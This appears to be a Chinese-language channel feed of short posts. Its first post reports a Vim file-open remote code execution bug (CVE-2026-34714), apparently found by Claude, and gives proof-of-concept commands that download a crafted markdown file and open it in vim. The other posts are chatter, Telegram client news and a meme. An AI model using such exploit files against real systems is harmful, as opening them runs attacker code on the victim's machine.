vim存在rce，打开文件即可触发

https://github.com/vim/vim/security/advisories/GHSA-2gmj-rpqf-pxvh

poc

vim -version
# VIM - Vi IMproved 9.2 (2026 Feb 14, compiled Mar 25 2026 22:04:13)
wget https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md
vim vim.md
cat /tmp/calif-vim-rce-poc

漏洞还是claude发现的，prompt只有一句话

Somebody told me there is an RCE 0-day when you open a file. Find it.

GitHub

Vim tabpanel modeline escape affects Vim > 9.1.1390 && Vim < 9.2.0272

Vim tabpanel modeline escape affects Vim > 9.1.1390 && Vim < 9.2.0272
===================================================
Date: 30.03.2026
Severity: High
CVE: CVE-2026-34714
CWE:...

三向月的日常

@bakabing

何... 何意味？

现在开源都是这么开了吗

不是哥们，这条评论区呢？杜洛夫又在 DC5 下片了？

全新赛博猫娘数据集和微调模型出现了
https://zhuanlan.zhihu.com/p/2013289094508197088

Telegram 将在你使用第三方客户端时提醒对方

@tginfo 在官方应用程序 Telegram for iOS 的翻译字符串库中发现了一条新记录，表明可能会引入关于对话者使用第三方客户端的警告。

“用户正在使用非官方的 Telegram 客户端，这可能会降低与该用户通信的安全性”，这是已确认翻译的文本内容。

🗒 标签: #Telegram #第三方客户端
📢 频道: @GodlyNews1
🤖 投稿: @GodlyNewsBot

谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭谁有 Claude Opus 4.6 啊我真的好想要 Claude Opus 4.6 啊就给我吸一口吧😭

via Mr.Yan